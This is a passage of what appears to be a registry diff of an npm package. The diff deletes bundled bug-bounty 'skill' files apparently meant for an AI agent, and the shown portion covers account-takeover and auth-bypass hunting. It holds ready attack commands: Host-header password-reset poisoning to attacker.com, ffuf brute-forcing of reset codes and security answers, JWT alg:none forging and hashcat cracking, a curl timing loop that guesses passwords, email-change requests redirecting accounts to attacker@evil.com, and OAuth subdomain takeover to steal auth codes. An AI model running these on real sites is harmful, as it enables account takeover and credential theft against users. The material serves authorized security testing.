@hostclubeos/miraos 0.0.4-beta → 0.0.5-beta

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (147) hide show
  1. package/bundled/bug-hunter/SKILL.md +7 -0
  2. package/chunks/{acpAgent-F4OT4AQQ.js → acpAgent-UHWDA3W7.js} +2 -2
  3. package/chunks/{chunk-ECNTMKHI.js → chunk-2GVKPBW5.js} +1 -1
  4. package/chunks/{chunk-HPGUQCRQ.js → chunk-2TDRP3IX.js} +1 -1
  5. package/chunks/{chunk-C24YTZET.js → chunk-4IVYVCCU.js} +1 -1
  6. package/chunks/{chunk-CKBEAZAV.js → chunk-62DMHXLL.js} +1 -1
  7. package/chunks/{chunk-AYU4PDSQ.js → chunk-744QTJR2.js} +2 -2
  8. package/chunks/{chunk-4XV2522J.js → chunk-D3YOXHQF.js} +1 -1
  9. package/chunks/{chunk-5SJFYZQJ.js → chunk-FRADUGRC.js} +1 -1
  10. package/chunks/{chunk-WDLXS4A3.js → chunk-FXANOHXI.js} +3 -3
  11. package/chunks/{chunk-JM46SKXF.js → chunk-MQWKOOSR.js} +1 -1
  12. package/chunks/{chunk-4TJKJ2LG.js → chunk-MUS4ADP7.js} +1 -1
  13. package/chunks/{chunk-FUIRLSNA.js → chunk-N4RIISOE.js} +1 -1
  14. package/chunks/{chunk-PUPIORBU.js → chunk-NKWATWMD.js} +1 -1
  15. package/chunks/{chunk-7LXU4NUI.js → chunk-NYM67KKZ.js} +1 -1
  16. package/chunks/{chunk-TIWH3MUJ.js → chunk-PXBJPUGN.js} +1 -1
  17. package/chunks/{chunk-LISKSG7B.js → chunk-QEIX42MZ.js} +1 -1
  18. package/chunks/{chunk-BZMSTSKY.js → chunk-RKFNQQNA.js} +1 -1
  19. package/chunks/{chunk-AXBNQS6C.js → chunk-SK3QOQR4.js} +1 -1
  20. package/chunks/{chunk-33G7MOU6.js → chunk-XZNF4YNN.js} +1 -1
  21. package/chunks/{daemon-status-provider-NBPLE4JN.js → daemon-status-provider-F6KB2LNG.js} +1 -1
  22. package/chunks/{fast-path-66F2TWKE.js → fast-path-DWPD5EGQ.js} +1 -1
  23. package/chunks/{llm-LZ3HARC2.js → llm-RBI7KXDE.js} +3 -3
  24. package/chunks/{local-6KBSW7N2.js → local-HSG47CNJ.js} +1 -1
  25. package/chunks/{managed-local-serve-2N3IAB3D.js → managed-local-serve-YE4JDFNP.js} +1 -1
  26. package/chunks/{managed-runtime-bootstrap-M4P43K7W.js → managed-runtime-bootstrap-SHEXUEZN.js} +1 -1
  27. package/chunks/{managed-runtime-ssh-worker-WWZ7SJ7U.js → managed-runtime-ssh-worker-BZNJV7IB.js} +1 -1
  28. package/chunks/{memory-D62BXIJW.js → memory-JTDN5AEA.js} +1 -1
  29. package/chunks/{nonInteractiveCli-Z4A7THMG.js → nonInteractiveCli-BXHX6EIU.js} +1 -1
  30. package/chunks/{review-LM7KW6Y5.js → review-PC4IDLCG.js} +1 -1
  31. package/chunks/{run-qwen-serve-77UZS4JA.js → run-qwen-serve-XRWVWOZK.js} +1 -1
  32. package/chunks/{serve-RHO7RZ45.js → serve-JCUT4WK7.js} +1 -1
  33. package/chunks/{server-5HEOZG3T.js → server-HMTRZJF7.js} +1 -1
  34. package/chunks/{session-RT7VH6GE.js → session-RGLZU6KY.js} +1 -1
  35. package/chunks/{start-opentui-ui-I2XXWTJS.js → start-opentui-ui-YNTPK7LX.js} +1 -1
  36. package/chunks/{startInteractiveUI-774LJIJD.js → startInteractiveUI-MWA2VYTJ.js} +1 -1
  37. package/chunks/{validateNonInterActiveAuth-633WYCVH.js → validateNonInterActiveAuth-3433WFLE.js} +1 -1
  38. package/chunks/{version-77KBVA2F.js → version-XCFKTEY3.js} +1 -1
  39. package/cli.js +1 -1
  40. package/package.json +2 -2
  41. package/bundled/bug-hunter/references/apk-redteam-pipeline/SKILL.md +0 -407
  42. package/bundled/bug-hunter/references/bb-local-toolkit/SKILL.md +0 -1558
  43. package/bundled/bug-hunter/references/bb-methodology/SKILL.md +0 -513
  44. package/bundled/bug-hunter/references/bug-bounty/SKILL.md +0 -1604
  45. package/bundled/bug-hunter/references/bugcrowd-reporting/SKILL.md +0 -331
  46. package/bundled/bug-hunter/references/cloud-iam-deep/SKILL.md +0 -521
  47. package/bundled/bug-hunter/references/enterprise-vpn-attack/SKILL.md +0 -356
  48. package/bundled/bug-hunter/references/evidence-hygiene/SKILL.md +0 -401
  49. package/bundled/bug-hunter/references/exploit-completion/SKILL.md +0 -155
  50. package/bundled/bug-hunter/references/hunt-api-misconfig/SKILL.md +0 -268
  51. package/bundled/bug-hunter/references/hunt-aspnet/SKILL.md +0 -277
  52. package/bundled/bug-hunter/references/hunt-ato/SKILL.md +0 -140
  53. package/bundled/bug-hunter/references/hunt-auth-bypass/SKILL.md +0 -449
  54. package/bundled/bug-hunter/references/hunt-brute-force/SKILL.md +0 -297
  55. package/bundled/bug-hunter/references/hunt-business-logic/SKILL.md +0 -237
  56. package/bundled/bug-hunter/references/hunt-cache-poison/SKILL.md +0 -338
  57. package/bundled/bug-hunter/references/hunt-captcha-bypass/SKILL.md +0 -92
  58. package/bundled/bug-hunter/references/hunt-cicd/SKILL.md +0 -267
  59. package/bundled/bug-hunter/references/hunt-clickjacking/SKILL.md +0 -66
  60. package/bundled/bug-hunter/references/hunt-cloud-misconfig/SKILL.md +0 -195
  61. package/bundled/bug-hunter/references/hunt-cors/SKILL.md +0 -291
  62. package/bundled/bug-hunter/references/hunt-csrf/SKILL.md +0 -374
  63. package/bundled/bug-hunter/references/hunt-deserialization/SKILL.md +0 -178
  64. package/bundled/bug-hunter/references/hunt-dispatch/SKILL.md +0 -380
  65. package/bundled/bug-hunter/references/hunt-dom/SKILL.md +0 -279
  66. package/bundled/bug-hunter/references/hunt-exceptional-conditions/SKILL.md +0 -67
  67. package/bundled/bug-hunter/references/hunt-file-upload/SKILL.md +0 -158
  68. package/bundled/bug-hunter/references/hunt-fintech-graphql/SKILL.md +0 -245
  69. package/bundled/bug-hunter/references/hunt-forgot-password/SKILL.md +0 -70
  70. package/bundled/bug-hunter/references/hunt-graphql/SKILL.md +0 -368
  71. package/bundled/bug-hunter/references/hunt-grpc/SKILL.md +0 -273
  72. package/bundled/bug-hunter/references/hunt-host-header/SKILL.md +0 -265
  73. package/bundled/bug-hunter/references/hunt-html-injection/SKILL.md +0 -62
  74. package/bundled/bug-hunter/references/hunt-http-smuggling/SKILL.md +0 -87
  75. package/bundled/bug-hunter/references/hunt-idor/SKILL.md +0 -389
  76. package/bundled/bug-hunter/references/hunt-jwt-crypto/SKILL.md +0 -177
  77. package/bundled/bug-hunter/references/hunt-k8s/SKILL.md +0 -293
  78. package/bundled/bug-hunter/references/hunt-laravel/SKILL.md +0 -211
  79. package/bundled/bug-hunter/references/hunt-ldap/SKILL.md +0 -307
  80. package/bundled/bug-hunter/references/hunt-lfi/SKILL.md +0 -266
  81. package/bundled/bug-hunter/references/hunt-llm-ai/SKILL.md +0 -245
  82. package/bundled/bug-hunter/references/hunt-mfa-bypass/SKILL.md +0 -134
  83. package/bundled/bug-hunter/references/hunt-misc/SKILL.md +0 -333
  84. package/bundled/bug-hunter/references/hunt-nextjs/SKILL.md +0 -255
  85. package/bundled/bug-hunter/references/hunt-nodejs/SKILL.md +0 -219
  86. package/bundled/bug-hunter/references/hunt-nosqli/SKILL.md +0 -166
  87. package/bundled/bug-hunter/references/hunt-ntlm-info/SKILL.md +0 -270
  88. package/bundled/bug-hunter/references/hunt-oauth/SKILL.md +0 -414
  89. package/bundled/bug-hunter/references/hunt-open-redirect/SKILL.md +0 -179
  90. package/bundled/bug-hunter/references/hunt-race-condition/SKILL.md +0 -485
  91. package/bundled/bug-hunter/references/hunt-rag-vector/SKILL.md +0 -167
  92. package/bundled/bug-hunter/references/hunt-rce/SKILL.md +0 -494
  93. package/bundled/bug-hunter/references/hunt-saml/SKILL.md +0 -112
  94. package/bundled/bug-hunter/references/hunt-session/SKILL.md +0 -298
  95. package/bundled/bug-hunter/references/hunt-shadow-api/SKILL.md +0 -153
  96. package/bundled/bug-hunter/references/hunt-sharepoint/SKILL.md +0 -437
  97. package/bundled/bug-hunter/references/hunt-source-leak/SKILL.md +0 -301
  98. package/bundled/bug-hunter/references/hunt-spa-api/SKILL.md +0 -123
  99. package/bundled/bug-hunter/references/hunt-springboot/SKILL.md +0 -241
  100. package/bundled/bug-hunter/references/hunt-sqli/SKILL.md +0 -422
  101. package/bundled/bug-hunter/references/hunt-ssrf/SKILL.md +0 -514
  102. package/bundled/bug-hunter/references/hunt-ssti/SKILL.md +0 -117
  103. package/bundled/bug-hunter/references/hunt-subdomain/SKILL.md +0 -335
  104. package/bundled/bug-hunter/references/hunt-tls-network/SKILL.md +0 -355
  105. package/bundled/bug-hunter/references/hunt-websocket/SKILL.md +0 -285
  106. package/bundled/bug-hunter/references/hunt-xss/SKILL.md +0 -450
  107. package/bundled/bug-hunter/references/hunt-xxe/SKILL.md +0 -422
  108. package/bundled/bug-hunter/references/ios-redteam-pipeline/SKILL.md +0 -287
  109. package/bundled/bug-hunter/references/m365-entra-attack/SKILL.md +0 -384
  110. package/bundled/bug-hunter/references/meme-coin-audit/SKILL.md +0 -358
  111. package/bundled/bug-hunter/references/mid-engagement-ir-detection/SKILL.md +0 -353
  112. package/bundled/bug-hunter/references/offensive-osint/README.md +0 -98
  113. package/bundled/bug-hunter/references/offensive-osint/SKILL.md +0 -399
  114. package/bundled/bug-hunter/references/offensive-osint/references/breach-and-credentials.md +0 -128
  115. package/bundled/bug-hunter/references/offensive-osint/references/dork-corpus.md +0 -180
  116. package/bundled/bug-hunter/references/offensive-osint/references/helpers-and-automation.md +0 -231
  117. package/bundled/bug-hunter/references/offensive-osint/references/identity-fabric.md +0 -305
  118. package/bundled/bug-hunter/references/offensive-osint/references/people-osint.md +0 -105
  119. package/bundled/bug-hunter/references/offensive-osint/references/probes-and-wordlists.md +0 -1266
  120. package/bundled/bug-hunter/references/offensive-osint/references/recon-stack.md +0 -282
  121. package/bundled/bug-hunter/references/offensive-osint/references/recon-techniques.md +0 -341
  122. package/bundled/bug-hunter/references/offensive-osint/references/saas-public-surfaces.md +0 -138
  123. package/bundled/bug-hunter/references/offensive-osint/references/secret-patterns.md +0 -67
  124. package/bundled/bug-hunter/references/offensive-osint/references/secret-validators.md +0 -329
  125. package/bundled/bug-hunter/references/offensive-osint/references/sector-notes.md +0 -72
  126. package/bundled/bug-hunter/references/offensive-osint/references/severity-matrix.md +0 -108
  127. package/bundled/bug-hunter/references/offensive-osint/references/specialized-osint.md +0 -199
  128. package/bundled/bug-hunter/references/offensive-osint/references/tooling-install.md +0 -188
  129. package/bundled/bug-hunter/references/offensive-osint/scripts/assets/FONT-LICENSE.txt +0 -13
  130. package/bundled/bug-hunter/references/offensive-osint/scripts/assets/archivo-black.woff2 +0 -0
  131. package/bundled/bug-hunter/references/offensive-osint/scripts/dashboard.py +0 -968
  132. package/bundled/bug-hunter/references/offensive-osint/scripts/h1_reference.py +0 -402
  133. package/bundled/bug-hunter/references/offensive-osint/scripts/secret_scan.py +0 -180
  134. package/bundled/bug-hunter/references/okta-attack/SKILL.md +0 -397
  135. package/bundled/bug-hunter/references/osint-methodology/README.md +0 -66
  136. package/bundled/bug-hunter/references/osint-methodology/SKILL.md +0 -1704
  137. package/bundled/bug-hunter/references/recon-scope-triage/SKILL.md +0 -89
  138. package/bundled/bug-hunter/references/redteam-mindset/SKILL.md +0 -401
  139. package/bundled/bug-hunter/references/redteam-report-template/SKILL.md +0 -347
  140. package/bundled/bug-hunter/references/regression-hunting/SKILL.md +0 -98
  141. package/bundled/bug-hunter/references/report-writing/SKILL.md +0 -568
  142. package/bundled/bug-hunter/references/security-arsenal/SKILL.md +0 -912
  143. package/bundled/bug-hunter/references/supply-chain-attack-recon/SKILL.md +0 -648
  144. package/bundled/bug-hunter/references/triage-validation/SKILL.md +0 -418
  145. package/bundled/bug-hunter/references/vmware-vcenter-attack/SKILL.md +0 -372
  146. package/bundled/bug-hunter/references/web2-recon/SKILL.md +0 -698
  147. package/bundled/bug-hunter/references/web3-audit/SKILL.md +0 -606
@@ -1,140 +0,0 @@
1
- ---
2
- name: hunt-ato
3
- description: "Hunt account takeover taxonomy — 9 distinct paths to ATO, plus chains. Paths: (1) password reset flaws (host-header injection redirects token, predictable/numeric token, Referer leak, no-expiry/reuse), (2) email change without re-auth, (3) OAuth account-link CSRF, (4) MFA bypass (per hunt-mfa-bypass), (5) session fixation, (6) JWT manipulation (forge token to another identity; crypto details → hunt-jwt-crypto), (7) password change without step-up (chain with login timing/length oracle), (8) social-recovery / security-question brute-force, (9) SSO subdomain takeover at OAuth redirect_uri. Chains: cookie theft + password oracle + no step-up = persistent ATO; lax redirect_uri = auth-code theft; dangling-CNAME takeover at redirect_uri = ATO. Validate: demonstrate real takeover of test account B from attacker A's session; OOB/Collaborator confirm blind token-leak steps. Use when hunting ATO chains, testing password reset / email change / MFA / OAuth / session / JWT, or chaining primitives toward Critical."
4
- sources: hackerone_public, public_research
5
- report_count: 7
6
- ---
7
-
8
- ## 13. ATO — ACCOUNT TAKEOVER TAXONOMY
9
- > 9 distinct paths. ATO is a destination class, not a single bug — each path below is a primitive that becomes Critical only when you demonstrate takeover of a SECOND account (test account B) you do not control, from attacker A's session/IP/device. A path that only locks you out of your own account, or only works when you already hold the victim's password AND session, is not a standalone ATO.
10
-
11
- ### Path 1: Password Reset Poisoning (Host-Header)
12
- ```bash
13
- POST /forgot-password HTTP/1.1
14
- Host: attacker.com # primary Host swap
15
- # OR keep real Host and add one of:
16
- X-Forwarded-Host: attacker.com
17
- X-Host: attacker.com
18
- X-Forwarded-Server: attacker.com
19
- # OR dual-Host smuggling: Host: target.com\r\nHost: attacker.com
20
-
21
- email=victimB@company.com
22
- ```
23
- The reset mailer builds the link from the request Host header → link points to `attacker.com/reset?token=XXXX`. **Confirmation = OOB, not response-based:** point the header at a Burp Collaborator / unique DNS name and read the actual email (use a controlled victim B inbox you own for the test). If the token only appears in the email body that lands at your Collaborator host, you have proof.
24
- **False-positive killer:** many apps put `attacker.com` in the email but the actual link domain is server-pinned — read the email, do not infer from the reflected header.
25
-
26
- ### Path 2: Reset Token in Referer / Open-Redirect Leak
27
- ```
28
- GET /reset-password?token=ABC123
29
- → page loads third-party resource: <script src="https://analytics.com/t.js">
30
- → browser sends Referer: https://target.com/reset-password?token=ABC123
31
- → token exfiltrated to every off-origin host the page calls
32
- ```
33
- Also test reset pages that 302 to an open redirect carrying the token in the URL. **Proof:** capture the outbound request in the Network tab (or Collaborator if you control the off-origin host) showing the full token in the Referer. Mitigated by `Referrer-Policy: no-referrer` + tokens in POST body — note their absence.
34
-
35
- ### Path 3: Predictable / Weak Reset Tokens
36
- ```bash
37
- # 6-digit numeric OTP-style reset code, no rate limit:
38
- ffuf -u "https://target.com/api/reset/verify" -X POST \
39
- -H "Content-Type: application/json" \
40
- -d '{"email":"victimB@company.com","code":"FUZZ"}' \
41
- -w <(seq -w 000000 999999) -mc 200 -fr "invalid" -t 5
42
- # time-based tokens: capture 5 tokens, diff — md5(timestamp)/sequential int = predictable
43
- ```
44
- **Discipline:** request the victim-B token yourself (you own B), confirm entropy by sampling, THEN show a fresh brute lands. A rate-limit-only finding on `/forgot-password` is routinely rejected — the impact is token guessing, not request flooding.
45
-
46
- ### Path 4: Token No-Expiry / Reuse / Cross-Account
47
- ```
48
- Expiry: request token → wait 2h → still valid? = bug
49
- Reuse: use token once → use again → still valid? = bug
50
- Multi: request token#1, then token#2 → is token#1 still valid? (should be invalidated)
51
- Cross: does B's token reset A's password if you swap the userid/email param? = IDOR-in-reset
52
- ```
53
-
54
- ### Path 5: Email Change Without Re-Auth
55
- ```bash
56
- PUT /api/user/email HTTP/1.1
57
- Cookie: session=ATTACKER_A_SESSION
58
- {"new_email":"attacker@evil.com"} # no current_password, no OTP, no email-confirm
59
- ```
60
- If the change takes effect with no current-password challenge and no confirm-link to the OLD address, trigger password reset → reset lands at attacker mailbox → ATO. The strongest variant skips even the new-address confirmation. Branded pattern: account-link / email-change → ATO via missing re-auth.
61
-
62
- ### Path 6: JWT Manipulation
63
- ```bash
64
- # (a) alg:none — strip the signature, set header alg to none
65
- python3 -c "import jwt; print(jwt.encode({'sub':'victimB','role':'admin'}, key='', algorithm='none'))"
66
- # send: header {"alg":"none","typ":"JWT"}, payload {"sub":"victimB"}, empty signature
67
- #
68
- # (b) RS256 -> HS256 key confusion: re-sign with the server's PUBLIC key as the HMAC secret
69
- curl -s https://target.com/.well-known/jwks.json # or /oauth/.well-known/... grab the RSA pub key
70
- # convert JWK -> PEM, then sign HS256 using that PEM bytes as the secret -> server verifies it
71
- #
72
- # (c) weak HMAC secret: crack offline
73
- hashcat -a 0 -m 16500 token.jwt rockyou.txt # -m 16500 = JWT
74
- #
75
- # (d) kid injection: kid=../../../dev/null (empty key) or kid=' UNION SELECT 'secret -- (SQL-backed kid)
76
- ```
77
- **Verified grounding for this class:** [CVE-2015-9235](https://nvd.nist.gov/vuln/detail/CVE-2015-9235) (node `jsonwebtoken` <4.2.2 — alg confusion / none bypass), [CVE-2016-10555](https://nvd.nist.gov/vuln/detail/CVE-2016-10555) (`jwt-simple` RS256→HS256). **Validate:** forged token must reach a privileged endpoint as victim B (e.g. `GET /api/admin` or `/api/users/B`) — decoding/forging is not impact; an authorized action under B's identity is. If the server ignores the forged `sub` and keys off the session cookie, the JWT is not the trust boundary — no finding.
78
-
79
- ### Path 7: Password Change Without Step-Up + Login Oracle
80
- ```bash
81
- # (a) password-change endpoint accepts a new password with no current-password / no MFA challenge:
82
- POST /api/account/password
83
- Cookie: session=STOLEN_B_COOKIE # from XSS, session-fixation, or token leak
84
- {"new_password":"Pwned#2026"} # no "current_password" field
85
- #
86
- # (b) login oracle to find a valid password without an existing cookie — measure response delta:
87
- for p in $(cat candidates.txt); do
88
- t=$(curl -s -o /dev/null -w '%{time_total}' -d "user=victimB&pass=$p" https://target.com/login)
89
- printf '%s\t%s\n' "$t" "$p"
90
- done | sort -n # bcrypt-vs-fast-reject timing gap, or response-length diff, leaks valid pass
91
- ```
92
- A no-step-up password-change endpoint is the **persistence multiplier**: cookie theft (transient) + this = attacker sets a new password from the stolen cookie → owns B from any device/IP, victim locked out. **False-positive check:** confirm there is genuinely no current-password / MFA gate — many APIs accept the field as optional but still 403 server-side; replay without the field and read the actual state change (try logging in with the new password from a clean browser).
93
-
94
- ### Path 8: Social-Recovery / Security-Question Abuse
95
- ```bash
96
- # Security answers are low-entropy and often unthrottled. Brute the recovery-answer endpoint:
97
- ffuf -u "https://target.com/account/recover/answer" -X POST \
98
- -H "Content-Type: application/json" \
99
- -d '{"email":"victimB@company.com","question":"pet","answer":"FUZZ"}' \
100
- -w common-answers.txt -mc 200 -fr "incorrect" -t 5
101
- # also test: answers returned/echoed in /api/me or recovery page source (client-side check)
102
- # and: question itself reveals PII the answer to which is OSINT-able (mother maiden, first school)
103
- ```
104
- Pair with `offensive-osint`: many "secret" answers (birth city, pet, school) are public on social profiles → no brute needed. **Validate** by completing the recovery flow end-to-end into a session on account B.
105
-
106
- ### Path 9: SSO Subdomain Takeover at OAuth redirect_uri
107
- ```bash
108
- # (a) enumerate accepted redirect_uri patterns — does the provider accept *.target.com subdomains?
109
- GET /oauth/authorize?client_id=...&redirect_uri=https://anything.target.com/cb&response_type=code
110
- # (b) find a dangling subdomain (CNAME -> deprovisioned Heroku/S3/Azure/GH-Pages) via hunt-subdomain:
111
- dig +short staging.target.com # CNAME -> nonexistent-app.herokuapp.com (NXDOMAIN on the target)
112
- # (c) claim that host on the cloud provider, serve a callback that logs the ?code=
113
- # (d) send victim B the crafted authorize URL -> their code/token lands on your claimed subdomain
114
- ```
115
- **Confirmation = OOB:** the auth `code` (or implicit `access_token`) must actually arrive at the host you claimed — log it server-side and exchange it for B's token. A redirect_uri that merely *reflects* an off-origin value but bounces the code through a server-pinned exchange is not exploitable. Decode any error body as JSON, not substring — `AADSTS50076` / claims-challenge responses contain a literal `access_token` substring inside the claims field that is NOT a usable token.
116
-
117
- ### Path 10: Pre-Account / Unverified-Account Takeover
118
- The victim's account exists in a pending/unverified state (invite not accepted, signup email never confirmed, or no email on file). Claim it first: register or attach your controlled email to that identity, then let the victim complete SSO/OTP login and inherit the attacker-seeded state — or trigger a reset once your email is attached. Test invite/pending flows and any endpoint that writes an email to an account lacking a confirmed one; confirm the victim, after signing in, lands in the account you seeded. High impact, no token interaction. Disclosed: reports/1679734, reports/394329.
119
-
120
- ### Path 11: Passwordless / Magic-Link Abuse by Identifier
121
- A passwordless-signup / magic-login / OTP-login endpoint that sets or resets a password (or issues a session) given only an enumerable identifier (phone/email), with no token step. Probe `*passwordless*`, `*magic*`, `*/otp-login`, `*/signup`: does supplying only a phone/email set the password or return a session for that identity? Enumerate identifiers to prove arbitrary-account reach; validate by taking test account B via its number alone. Disclosed: reports/143717.
122
-
123
- ### ATO Severity Gate
124
- - **Critical** — zero/low victim interaction: Host-header reset poisoning, JWT forgery to victim endpoint, lax-redirect_uri auth-code theft, IDOR-driven email change → reset.
125
- - **High** — one email click OR a pre-existing session/cookie required (Referer leak, no-step-up password change behind cookie theft).
126
- - **Medium** — requires phishing + active user interaction (OAuth-link CSRF needing the victim to click + be logged in).
127
- - **Low** — attacker must be MitM, or only self-account impact.
128
-
129
- ---
130
-
131
- ## Related Skills & Chains
132
-
133
- - **`hunt-idor`** — The most reliable ATO primitive that needs no email control and no race. Chain primitive: `PATCH /api/users/{victimB_uid}` with attacker-A session + victim UID + `{"email":"attacker@evil.com"}` → trigger password reset → reset email arrives at attacker → full ATO, zero victim interaction (Path 5 + IDOR = Critical).
134
- - **`hunt-mfa-bypass`** — Path 7 is only Critical if it also bypasses MFA. Chain primitive: password-change endpoint accepts a new password with no current-password challenge AND no MFA step-up → cookie theft (XSS / token leak) + login timing oracle → set new password from the stolen cookie → MFA-less ATO from any IP/device.
135
- - **`hunt-oauth`** — Path 9 lives here. Chain primitive: `redirect_uri` validation accepts subdomain match (`*.target.com`) + `hunt-subdomain` reveals a dangling CNAME on `staging.target.com` → claim it on Heroku/S3 → host an OAuth callback → victim clicks the crafted authorize URL → code lands on the attacker subdomain → exchange for token → ATO. Always JSON-parse OAuth error bodies; never substring-match `access_token`.
136
- - **`hunt-api-misconfig`** — Path 6 (JWT) detail lives here too: alg:none, RS256→HS256 key confusion (sign with the JWKS public key as the HMAC secret), `kid` path-traversal / SQLi, and weak-secret cracking (`hashcat -m 16500`). Load it together with this skill for the JWK→PEM conversion mechanics.
137
- - **`hunt-host-header`** — Path 1 canonical primitive. Chain primitive: `POST /forgot-password` with `Host`/`X-Forwarded-Host: attacker.com` → mailer builds the link from the request Host → link points to `attacker.com/reset?token=XXXX` → victim clicks → token leaked → ATO. Confirm via Collaborator-hosted domain reading the real email, not the reflected header.
138
- - **`offensive-osint`** — Path 8 force-multiplier: most security-question answers (birth city, pet, first school, mother's maiden name) are OSINT-able from social profiles → recover account B with no brute force at all.
139
- - **`security-arsenal`** — Pull the Password-Reset Bypass Tables (`X-Forwarded-Host`, `X-Host`, `X-HTTP-Host-Override`, dual-Host smuggling), token-entropy payloads (sequential numeric, time-based predictable), the JWT attack table, and the always-rejected list for "rate-limit on /forgot-password" reports.
140
- - **`triage-validation`** — Run the Pre-Severity Gate before claiming Critical on an ATO that needs the victim to click a link AND enter credentials AND pass CAPTCHA. The reproducibility step (10-minute fresh-browser walkthrough taking over test account B from attacker A's session) separates Critical-paid from Self-XSS-tier rejected.
@@ -1,449 +0,0 @@
1
- ---
2
- name: hunt-auth-bypass
3
- description: Hunting skill for auth bypass vulnerabilities. Built from 12 public bug bounty reports across SAML XSW / parser-differential (GitHub Enterprise CVE-2025-25291/25292), SAML signature stripping (Uber, Rocket.Chat, samlify CVE-2025-47949), SAML domain enforcement bypass via control characters (HackerOne 2024), partner-portal cross-IdP assertion reuse (Slack), WordPress XMLRPC bypassing SSO (Uber), JWT alg-confusion HS256/RS256 (Jitsi), JWT signature-validation skip (Linktree, Newspack), and token-audience confusion (Argo CD CVE-2023-22482). For standalone JWT signature/crypto forging (alg:none, key confusion, kid/jku) see hunt-jwt-crypto; this skill covers JWT only inside SSO/SAML/token-trust bypass chains. SAML assertion-layer attacks (XSW, comment injection, signature stripping, XXE-in-assertion) are owned by hunt-saml; this skill owns the broader cross-protocol auth-bypass taxonomy. Use when hunting auth bypass — see the Legacy-Protocol Matrix for branded-UI vs legacy-endpoint patterns.
4
- sources: github, hackerone_public, github_security_lab, projectdiscovery_research
5
- report_count: 12
6
- ---
7
-
8
- ## Crown Jewel Targets
9
-
10
- Auth bypass is consistently one of the highest-paying vulnerability classes in bug bounty because it directly violates the most fundamental security control. High-value targets include:
11
-
12
- - **SSO/SAML implementations** at enterprise SaaS companies (Slack, Okta, OneLogin integrations) — payouts regularly in the $5K–$25K+ range
13
- - **Admin panels and partner/internal portals** — subdomain-separated admin surfaces like `partners.shopify.com`, `admin.company.com`
14
- - **Third-party auth plugin integrations** — WordPress plugins (OneLogin, WP-SAML-Auth), Drupal SSO modules, any CMS with pluggable auth
15
- - **XMLRPC endpoints** on WordPress — often forgotten, bypasses standard WP auth flows entirely
16
- - **OAuth callback flows** — state parameter mishandling, redirect_uri mismatches
17
- - **API authentication layers** — especially where auth was bolted on after the fact
18
-
19
- **Asset priority:** Targets with federated identity (SAML, OAuth, OIDC) connected to large user populations. Partner/reseller portals are particularly juicy because they often have elevated permissions and less security scrutiny than the main product.
20
-
21
- ---
22
-
23
- ### SSH certificate-authority trust forgery (Git-hosting / enterprise platforms)
24
- When an org or instance registers an SSH certificate authority, cert `principals` may not be bound server-side to the requesting identity — a member can mint a cert asserting another user's principal and authenticate as them (e.g. modify another user's resource given only its URL). Add SSH-CA trust to the auth-surface list on Git-hosting targets; niche/platform-specific. Disclosed: reports/1901040.
25
-
26
- ## Attack Surface Signals
27
-
28
- **URL patterns to hunt:**
29
- ```
30
- /xmlrpc.php
31
- /wp-login.php
32
- /saml/
33
- /sso/
34
- /auth/saml/callback
35
- /oauth/callback
36
- /partners.*
37
- /admin.*
38
- /?wc-api=
39
- /api/v*/auth
40
- /login?redirect=
41
- /accounts/login
42
- ```
43
-
44
- **Response headers signaling SSO:**
45
- ```
46
- X-Frame-Options: SAMEORIGIN (common on SSO portals)
47
- Set-Cookie: SAMLResponse=
48
- Location: https://idp.company.com/saml
49
- WWW-Authenticate: Bearer realm="partners"
50
- ```
51
-
52
- **JS patterns indicating federated auth:**
53
- ```javascript
54
- // Look for in page source
55
- samlRequest
56
- RelayState
57
- SAMLResponse
58
- onelogin
59
- shibboleth
60
- okta
61
- passport.js authenticate
62
- ```
63
-
64
- **Tech stack signals:**
65
- - WordPress + any SSO plugin → check XMLRPC separately
66
- - Shopify Partner API exposure → cross-tenant privilege escalation risk
67
- - Any app advertising "SSO enabled" or "Login with [Enterprise IdP]"
68
- - Separate subdomains for admin/partner that share session cookies with main domain
69
- - Applications using `SimpleSAMLphp`, `ruby-saml`, `python-saml`
70
-
71
- **Burp passive scan triggers:**
72
- - `SAMLResponse` in any POST body
73
- - `openid_connect` or `id_token` in responses
74
- - Cookie domains set to `.company.com` (wildcard)
75
-
76
- ---
77
-
78
- ## Step-by-Step Hunting Methodology
79
-
80
- 1. **Map all authentication entry points**
81
- - spider the target for every login surface: main login, admin login, API login, partner portal, mobile API endpoints
82
- - check `robots.txt`, JS files, and the wayback machine for forgotten endpoints like `/xmlrpc.php`
83
-
84
- 2. **Identify the auth mechanism per entry point**
85
- - Is it forms-based, SAML, OAuth, API key, session token?
86
- - For WordPress: always probe `/xmlrpc.php` even if the main login is SSO-protected
87
-
88
- 3. **Test XMLRPC independently of SSO**
89
- - If site uses SSO (e.g., OneLogin), manually POST to `/xmlrpc.php`
90
- - XMLRPC uses WordPress-native credentials, not SSO — test with `system.listMethods` first, then `wp.getUsersBlogs`
91
-
92
- 4. **Enumerate SAML implementation**
93
- - Capture a valid SAMLResponse via Burp
94
- - Decode the Base64 payload, inspect the XML
95
- - Test signature stripping, comment injection, and XML wrapping attacks
96
- - Test if SP validates the signature at all (send unsigned assertion)
97
-
98
- 5. **Test cross-portal session/token reuse**
99
- - Log into `partners.shopify.com` type portals
100
- - Attempt to use the issued token/cookie against the main admin portal
101
- - Look for shared cookie domains, shared JWT secrets, or API tokens that work across contexts
102
-
103
- 6. **Fuzz auth parameters**
104
- - Null/empty passwords, `password[]=array`, SQL in username field
105
- - Try `admin`/`admin`, `test`/`test` on staging subdomains
106
- - Modify `role`, `is_admin`, `user_type` in JWTs (none algorithm, weak secret)
107
-
108
- 7. **Check redirect and state parameters**
109
- - Does removing `state` from OAuth break anything?
110
- - Can you change `redirect_uri` to an open redirect target?
111
- - Does the `RelayState` in SAML get validated?
112
-
113
- 8. **Verify impact by escalating privileges**
114
- - Don't stop at login — prove you can access admin functions, other users' data, or sensitive configuration
115
- - Screenshot the highest-privilege action you can perform
116
-
117
- ---
118
-
119
- ## Legacy-Protocol Matrix (Probe These First on Any Custom-Branded Login)
120
-
121
- When a target has a custom, branded login UI (e.g. `customlogin.aspx`, `/auth/signin`, `/account/login`), **always probe the platform's legacy protocol endpoints with native credentials** in parallel. These endpoints frequently outlive the custom UI's protections and accept native credentials with NO rate limit, NO MFA challenge, NO CAPTCHA, NO anti-automation. This is the WordPress XMLRPC pattern generalised across CMS / portal / framework stacks.
122
-
123
- | Target tech | Legacy endpoint(s) to probe | Native-cred bypass surface |
124
- |---|---|---|
125
